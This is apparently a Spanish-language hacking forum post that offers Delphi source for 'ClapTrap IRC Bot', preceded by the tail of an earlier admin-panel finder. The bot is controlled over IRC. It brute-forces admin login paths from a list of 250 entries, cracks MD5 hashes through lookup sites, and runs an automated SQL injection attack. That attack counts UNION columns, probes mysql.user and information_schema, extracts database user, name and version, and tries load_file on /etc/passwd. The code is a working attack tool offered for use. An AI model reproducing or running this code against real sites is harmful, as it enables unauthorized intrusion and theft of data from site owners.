  277.    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  278.    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  279.    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  280.    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  281.    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  282.    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  283.    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  284.    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  285.    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  286.    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  287.    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  288.    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  289.    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  290.    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  291.    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  292.    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  293.    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  294.    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  295.    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  296.    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  297.    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  298.    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  299.    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  300.    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  301.    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  302.    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  303.    'system_administration/', 'ss_vms_admin_sm/');
  304. var
  305.  IdHTTP: TIdHTTP;
  306.  i: Integer;
  307.  control: Integer;
  308. begin
  309.  
  310.  control := 0;
  311.  
  312.  sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
  313.  Form2.sStatusBar1.Update;
  314.  
  315.  IdHTTP := TIdHTTP.Create(nil);
  316.  
  317.  for i := Low(paginas) to High(paginas) do
  318.  
  319.    if (control = 1) then
  320.    begin
  321.      Abort;
  322.    end
  323.    else
  324.    begin
  325.  
  326.      try
  327.  
  328.        sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
  329.        Form2.sStatusBar1.Update;
  330.  
  331.        IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
  332.        if IdHTTP.ResponseCode = 200 then
  333.        begin
  334.  
  335.          sStatusBar1.Panels[0].Text := '[+] Done';
  336.          Form2.sStatusBar1.Update;
  337.          sEdit1.Text := sEdit1.Text + '/' + paginas[i];
  338.          control := 1;
  339.        end;
  340.      except
  341.        on E: EIdHttpProtocolException do
  342.          ;
  343.        on E: Exception do
  344.          ;
  345.      end;
  346.  
  347.    end;
  348.  
  349.  sStatusBar1.Panels[0].Text := '[+] Done';
  350.  Form2.sStatusBar1.Update;
  351.  
  352. end;
  353.  
  354. procedure TForm2.sButton4Click(Sender: TObject);
  355. begin
  356.  FindDialog1.Execute;
  357. end;
  358.  
  359. procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
  360. var
  361.  buscador: IHTMLElement;
  362. begin
  363.  
  364.  sProgressBar1.Position := 0;
  365.  
  366.  // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm
  367.  
  368.  begin
  369.  
  370.    try
  371.      begin
  372.  
  373.        sMemo2.Clear;
  374.  
  375.        buscador := (WebBrowser1.Document AS IHTMLDocument2).body;
  376.  
  377.        while not(buscador.parentElement = nil) do
  378.        begin
  379.          buscador := buscador.parentElement;
  380.        end;
  381.        sMemo2.Lines.Add(buscador.outerHTML);
  382.      end;
  383.    except
  384.      // ??
  385.    end;
  386.  end;
  387. end;
  388.  
  389. procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
  390.  Progress, ProgressMax: Integer);
  391. begin
  392.  sProgressBar1.Max := ProgressMax;
  393.  sProgressBar1.Position := Progress;
  394. end;
  395.  
  396. end.
  397.  
  398. // The End ?
  399.  


Si lo quieren bajar lo pueden hacer de aca.

146  Programación / Programación General / [Delphi] ClapTrap IRC Bot 0.5 en: 11 Noviembre 2013, 17:13 pm
Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

  • Busca panel de administracion
  • Localiza IP y sus DNS
  • Crackea hashes MD5
  • Y scannea SQLI

Unas imagenes :





Menu de carga

Código
  1. // ClapTrap IRC Bot 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit clap;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
  11.  sGroupBox, sButton, sLabel;
  12.  
  13. type
  14.  TForm1 = class(TForm)
  15.    sSkinManager1: TsSkinManager;
  16.    Image1: TImage;
  17.    sGroupBox1: TsGroupBox;
  18.    sProgressBar1: TsProgressBar;
  19.    Timer1: TTimer;
  20.    procedure FormCreate(Sender: TObject);
  21.    procedure Timer1Timer(Sender: TObject);
  22.  private
  23.    { Private declarations }
  24.  public
  25.    { Public declarations }
  26.  end;
  27.  
  28. var
  29.  Form1: TForm1;
  30.  
  31. implementation
  32.  
  33. uses menu;
  34. {$R *.dfm}
  35.  
  36. procedure TForm1.FormCreate(Sender: TObject);
  37.  
  38. begin
  39.  
  40.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  41.  sSkinManager1.SkinName := 'cappuccino';
  42.  sSkinManager1.Active := True;
  43.  
  44. end;
  45.  
  46. procedure TForm1.Timer1Timer(Sender: TObject);
  47. var
  48.  i: integer;
  49.  total: integer;
  50.  
  51. begin
  52.  
  53.  total := 0;
  54.  sProgressBar1.Min := 0;
  55.  sProgressBar1.Max := 100;
  56.  
  57.  For i := 1 to 100 do
  58.  begin
  59.  
  60.    Form1.Update;
  61.  
  62.    Sleep(1000);
  63.  
  64.    total := total + 10;
  65.  
  66.    sProgressBar1.Position := total;
  67.  
  68.    if (sProgressBar1.Position = 100) then
  69.    begin
  70.      Timer1.Enabled := False;
  71.      Form1.Hide;
  72.      Form2.Show;
  73.      Abort;
  74.    end;
  75.  end;
  76.  
  77. end;
  78.  
  79. end.
  80.  
  81. // The End ?
  82.  

Menu

Código
  1. // ClapTrap IRC Bot 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit menu;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
  11.  sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
  12.  IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
  13.  IdMultipartFormData, IdHTTP;
  14.  
  15. type
  16.  TForm2 = class(TForm)
  17.    sSkinManager1: TsSkinManager;
  18.    sGroupBox1: TsGroupBox;
  19.    sLabel1: TsLabel;
  20.    sLabel2: TsLabel;
  21.    sLabel3: TsLabel;
  22.    sLabel4: TsLabel;
  23.    sEdit1: TsEdit;
  24.    sEdit2: TsEdit;
  25.    sEdit3: TsEdit;
  26.    sEdit4: TsEdit;
  27.    sButton1: TsButton;
  28.    sButton2: TsButton;
  29.    sStatusBar1: TsStatusBar;
  30.    Image1: TImage;
  31.    sGroupBox2: TsGroupBox;
  32.    sMemo1: TsMemo;
  33.    Image2: TImage;
  34.    PerlRegEx1: TPerlRegEx;
  35.    IdIRC1: TIdIRC;
  36.    PerlRegEx2: TPerlRegEx;
  37.    IdHTTP1: TIdHTTP;
  38.    procedure sButton1Click(Sender: TObject);
  39.    procedure sButton2Click(Sender: TObject);
  40.    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  41.      AHost, ANicknameTo, AMessage: string);
  42.  
  43.    procedure FormCreate(Sender: TObject);
  44.  
  45.    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  46.  private
  47.    { Private declarations }
  48.  public
  49.    { Public declarations }
  50.  end;
  51.  
  52. var
  53.  Form2: TForm2;
  54.  
  55. implementation
  56.  
  57. {$R *.dfm}
  58.  
  59. procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
  60. begin
  61.  Application.Terminate;
  62. end;
  63.  
  64. procedure TForm2.FormCreate(Sender: TObject);
  65. begin
  66.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  67.  sSkinManager1.SkinName := 'cappuccino';
  68.  sSkinManager1.Active := True;
  69. end;
  70.  
  71. procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  72.  AHost, ANicknameTo, AMessage: string);
  73.  
  74. var
  75.  rta: string;
  76.  z: integer;
  77.  par: TIdMultiPartFormDataStream;
  78.  target: string;
  79.  
  80. var
  81.  IdHTTP: TIdHTTP;
  82.  i: integer;
  83.  
  84. var
  85.  url: string;
  86.  urldos: string;
  87.  code: string;
  88.  codedos: string;
  89.  pass1: string;
  90.  pass2: string;
  91.  urltest: string;
  92.  urlgen: string;
  93.  
  94. var
  95.  hextest: string;
  96.  web1: string;
  97.  web2: string;
  98.  web3: string;
  99.  full: string;
  100.  
  101. const
  102.  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
  103.    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
  104.    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
  105.    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
  106.    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
  107.    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
  108.    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
  109.    'login/index.asp', 'login/index.aspx', 'login/login.asp',
  110.    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
  111.    'administracion/index.asp', 'administracion/index.aspx',
  112.    'administracion/login.asp', 'administracion/login.aspx',
  113.    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
  114.    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
  115.    'admin/admin.php', 'admin/index.php', 'admin/login.php',
  116.    'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
  117.    'admin/default.php', 'administracion/', 'administracion/index.php',
  118.    'administracion/login.php', 'administracion/ingresar.php',
  119.    'administracion/admin.php', 'administration/', 'administration/index.php',
  120.    'administration/login.php', 'administrator/index.php',
  121.    'administrator/login.php', 'administrator/system.php', 'system/',
  122.    'system/login.php', 'admin.php', 'login.php', 'administrador.php',
  123.    'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
  124.    'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
  125.    'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
  126.    'admin/index.html', 'admin/login.html', 'admin/home.php',
  127.    'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
  128.    'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
  129.    'administrator/index.html', 'administrator/login.html',
  130.    'administrator/account.html', 'administrator/account.php',
  131.    'administrator.html', 'login.html', 'modelsearch/login.php',
  132.    'moderator.php', 'moderator.html', 'moderator/login.php',
  133.    'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
  134.    'moderator/', 'account.php', 'account.html', 'controlpanel/',
  135.    'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
  136.    'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
  137.    'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
  138.    'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
  139.    'administrator/index.asp', 'administrator/login.asp',
  140.    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
  141.    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
  142.    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
  143.    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
  144.    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
  145.    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
  146.    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
  147.    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
  148.    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
  149.    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
  150.    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
  151.    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
  152.    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
  153.    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
  154.    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
  155.    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
  156.    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
  157.    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
  158.    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
  159.    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
  160.    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
  161.    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
  162.    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
  163.    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
  164.    'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
  165.    'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
  166.    'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
  167.    'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
  168.    'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
  169.    'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
  170.    'system_administration/', 'ss_vms_admin_sm/');
  171.  
  172. begin
  173.  if ANicknameFrom = sEdit4.Text then
  174.  begin
  175.  
  176.    // Help
  177.  
  178.    PerlRegEx1.Regex := '!help';
  179.    PerlRegEx1.Subject := AMessage;
  180.  
  181.    if PerlRegEx1.Match then
  182.    begin
  183.      IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
  184.      IdIRC1.Say(ANicknameFrom, '!locateip <target>');
  185.      IdIRC1.Say(ANicknameFrom, '!panel <target>');
  186.      IdIRC1.Say(ANicknameFrom, '!sqli <target>');
  187.      IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
  188.      IdIRC1.Say(ANicknameFrom, '!help <?>');
  189.      IdIRC1.Say(ANicknameFrom, 'Good Bye');
  190.    end;
  191.  
  192.    //
  193.  
  194.    // LocateIP
  195.  
  196.    PerlRegEx1.Regex := '!locateip (.*)';
  197.    PerlRegEx1.Subject := AMessage;
  198.  
  199.    if PerlRegEx1.Match then
  200.    begin
  201.  
  202.      sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
  203.      Form2.sStatusBar1.Update;
  204.  
  205.      sMemo1.Lines.Add('[+] LocateIP : Working');
  206.  
  207.      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');
  208.  
  209.      par := TIdMultiPartFormDataStream.Create;
  210.      par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);
  211.  
  212.      rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);
  213.  
  214.      PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
  215.      PerlRegEx2.Subject := rta;
  216.  
  217.      if PerlRegEx2.Match then
  218.      begin
  219.        target := PerlRegEx2.SubExpressions[2];
  220.  
  221.        rta := IdHTTP1.Get(
  222.          'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
  223.            target);
  224.  
  225.        PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  226.        PerlRegEx2.Subject := rta;
  227.  
  228.        if PerlRegEx2.Match then
  229.        begin
  230.  
  231.          IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
  232.            );
  233.  
  234.        end
  235.        else
  236.        begin
  237.          IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
  238.        end;
  239.  
  240.        PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  241.        PerlRegEx2.Subject := rta;
  242.  
  243.        if PerlRegEx2.Match then
  244.        begin
  245.          IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
  246.              [2]);
  247.  
  248.        end
  249.        else
  250.        begin
  251.          IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
  252.        end;
  253.  
  254.        PerlRegEx2.Regex :=
  255.          'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
  256.        PerlRegEx2.Subject := rta;
  257.  
  258.        if PerlRegEx2.Match then
  259.        begin
  260.          IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
  261.              [2]);
  262.        end
  263.        else
  264.        begin
  265.          IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
  266.        end;
  267.  
  268.        //
  269.  
  270.        // Get DNS
  271.  
  272.        rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);
  273.  
  274.        PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
  275.        PerlRegEx2.Subject := rta;
  276.  
  277.        while PerlRegEx2.MatchAgain do
  278.        begin
  279.          for z := 1 to PerlRegEx2.SubExpressionCount do
  280.            IdIRC1.Say(ANicknameFrom,
  281.              '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
  282.        end;
  283.  
  284.      end;
  285.  
  286.      sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
  287.      Form2.sStatusBar1.Update;
  288.  
  289.      sMemo1.Lines.Add('[+] LocateIP : Finished');
  290.  
  291.      IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');
  292.  
  293.      //
  294.    end;
  295.  
  296.    //
  297.  
  298.    // PanelFinder
  299.  
  300.    PerlRegEx1.Regex := '!panel (.*)';
  301.    PerlRegEx1.Subject := AMessage;
  302.  
  303.    if PerlRegEx1.Match then
  304.    begin
  305.      //
  306.  
  307.      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
  308.      Form2.sStatusBar1.Update;
  309.  
  310.      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');
  311.  
  312.      sMemo1.Lines.Add('[+] PanelFinder : Working');
  313.  
  314.      try
  315.  
  316.        IdHTTP := TIdHTTP.Create(nil);
  317.  
  318.        for i := Low(paginas) to High(paginas) do
  319.          try
  320.  
  321.            sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
  322.            Form2.sStatusBar1.Update;
  323.  
  324.            IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
  325.            if IdHTTP.ResponseCode = 200 then
  326.              IdIRC1.Say(ANicknameFrom,
  327.                '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
  328.                  + '/' + paginas[i]);
  329.          except
  330.            on E: EIdHttpProtocolException do
  331.              ;
  332.            on E: Exception do
  333.              ;
  334.          end;
  335.      finally
  336.        IdHTTP.Free;
  337.      end;
  338.  
  339.      sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
  340.      Form2.sStatusBar1.Update;
  341.  
  342.      IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');
  343.  
  344.      sMemo1.Lines.Add('[+] PanelFinder : Finished');
  345.  
  346.      //
  347.    end;
  348.  
  349.    //
  350.  
  351.    // Crack MD5
  352.  
  353.    PerlRegEx1.Regex := '!crackmd5 (.*)';
  354.    PerlRegEx1.Subject := AMessage;
  355.  
  356.    if PerlRegEx1.Match then
  357.    begin
  358.  
  359.      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
  360.      Form2.sStatusBar1.Update;
  361.  
  362.      sMemo1.Lines.Add('[+] CrackMD5 : Working');
  363.  
  364.      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');
  365.  
  366.      sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
  367.      Form2.sStatusBar1.Update;
  368.  
  369.      rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
  370.          PerlRegEx1.SubExpressions[1]);
  371.  
  372.      PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
  373.      PerlRegEx2.Subject := rta;
  374.      if PerlRegEx2.Match then
  375.      begin
  376.        IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  377.            + ':' + PerlRegEx2.SubExpressions[2]);
  378.      end
  379.      else
  380.      begin
  381.  
  382.        rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
  383.            PerlRegEx1.SubExpressions[1]);
  384.  
  385.        PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
  386.        PerlRegEx2.Subject := rta;
  387.  
  388.        if PerlRegEx2.Match then
  389.  
  390.        begin
  391.  
  392.          if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
  393.          begin
  394.            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  395.                + ':' + PerlRegEx2.SubExpressions[1]);
  396.          end
  397.          else
  398.  
  399.          begin
  400.  
  401.            sStatusBar1.Panels[0].Text :=
  402.              '[+] Searching in md52.altervista.org ...';
  403.            Form2.sStatusBar1.Update;
  404.  
  405.            rta := IdHTTP1.Get
  406.              ('http://md52.altervista.org/index.php?md5=' +
  407.                PerlRegEx1.SubExpressions[1]);
  408.  
  409.            PerlRegEx2.Regex :=
  410.              '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
  411.            PerlRegEx2.Subject := rta;
  412.  
  413.            if PerlRegEx2.Match then
  414.            begin
  415.              IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
  416.                  + ':' + PerlRegEx2.SubExpressions[1]);
  417.            end
  418.            else
  419.            begin
  420.              IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
  421.            end;
  422.          end;
  423.  
  424.        end;
  425.      end;
  426.  
  427.      sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
  428.      Form2.sStatusBar1.Update;
  429.  
  430.      sMemo1.Lines.Add('[+] CrackMD5 : Finished');
  431.  
  432.      IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');
  433.  
  434.    end;
  435.  
  436.    //
  437.  
  438.    // SQLI Scanner
  439.  
  440.    PerlRegEx1.Regex := '!sqli (.*)';
  441.    PerlRegEx1.Subject := AMessage;
  442.  
  443.    if PerlRegEx1.Match then
  444.  
  445.    begin
  446.  
  447.      sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
  448.      Form2.sStatusBar1.Update;
  449.  
  450.      sMemo1.Lines.Add('[+] SQLI Scanner : Working');
  451.  
  452.      IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');
  453.  
  454.      pass1 := '+';
  455.      pass2 := '--';
  456.  
  457.      urltest := 'concat(0x4b30425241,1,0x4b30425241)';
  458.  
  459.      sStatusBar1.Panels[0].Text := '[+] Checking ...';
  460.      Form2.sStatusBar1.Update;
  461.  
  462.      IdIRC1.Say(ANicknameFrom, '[+] Checking ...');
  463.  
  464.      code := IdHTTP1.Get
  465.        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
  466.          pass2);
  467.  
  468.      codedos := IdHTTP1.Get
  469.        (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
  470.          pass2);
  471.  
  472.      if not(code = codedos) then
  473.      begin
  474.  
  475.        IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');
  476.  
  477.        sStatusBar1.Panels[0].Text := '[+] Finding columns number';
  478.        Form2.sStatusBar1.Update;
  479.  
  480.        IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');
  481.  
  482.        urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
  483.          pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
  484.        urlgen := '1';
  485.        for i := 2 to 36 do
  486.        begin
  487.          sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
  488.          Form2.sStatusBar1.Update;
  489.          urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
  490.            + ',0x4b30425241)';
  491.          urlgen := urlgen + ',' + IntToStr(i);
  492.          code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
  493.          PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
  494.          PerlRegEx2.Subject := code;
  495.  
  496.          if PerlRegEx2.Match then
  497.          begin
  498.  
  499.            IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
  500.            IdIRC1.Say(ANicknameFrom,
  501.              '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');
  502.  
  503.            urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
  504.              'hackman', []);
  505.            full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
  506.              pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
  507.              urlgen;
  508.  
  509.            IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);
  510.  
  511.            //
  512.  
  513.            pass1 := '+';
  514.            pass2 := '--';
  515.  
  516.            hextest := '0x2f6574632f706173737764'; // /etc/passwd
  517.            hextest := '0x633A2F78616D70702F726561642E747874';
  518.            // #c:/xampp/read.txt
  519.  
  520.            web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
  521.            web2 := StringReplace(full, 'hackman',
  522.              'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
  523.            web3 := StringReplace(full, 'hackman',
  524.              'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
  525.                hextest + '))))', []);
  526.  
  527.            sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
  528.            Form2.sStatusBar1.Update;
  529.  
  530.            code := IdHTTP1.Get
  531.              (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
  532.            PerlRegEx2.Regex := 'K0BRA';
  533.            PerlRegEx2.Subject := code;
  534.            if PerlRegEx2.Match then
  535.            begin
  536.              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
  537.            end
  538.            else
  539.            begin
  540.              IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
  541.            end;
  542.  
  543.            code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
  544.                'information_schema.tables' + pass2);
  545.            PerlRegEx2.Regex := 'K0BRA';
  546.            PerlRegEx2.Subject := code;
  547.            if PerlRegEx2.Match then
  548.            begin
  549.  
  550.              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
  551.            end
  552.            else
  553.            begin
  554.              IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
  555.            end;
  556.  
  557.            code := IdHTTP1.Get(web3);
  558.            PerlRegEx2.Regex := 'K0BRA';
  559.            PerlRegEx2.Subject := code;
  560.            if PerlRegEx2.Match then
  561.            begin
  562.              IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
  563.            end
  564.            else
  565.            begin
  566.              IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
  567.            end;
  568.  
  569.            sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
  570.            Form2.sStatusBar1.Update;
  571.  
  572.            code := IdHTTP1.Get(web2);
  573.  
  574.            PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
  575.            PerlRegEx2.Subject := code;
  576.            if PerlRegEx2.Match then
  577.            begin
  578.  
  579.              IdIRC1.Say(ANicknameFrom,
  580.                '[+] User : ' + PerlRegEx2.SubExpressions[1]);
  581.              IdIRC1.Say(ANicknameFrom,
  582.                '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
  583.              IdIRC1.Say(ANicknameFrom,
  584.                '[+] Version : ' + PerlRegEx2.SubExpressions[3]);
  585.  
  586.              sStatusBar1.Panels[0].Text := '[+] Done';
  587.              Form2.sStatusBar1.Update;
  588.            end
  589.            else
  590.            begin
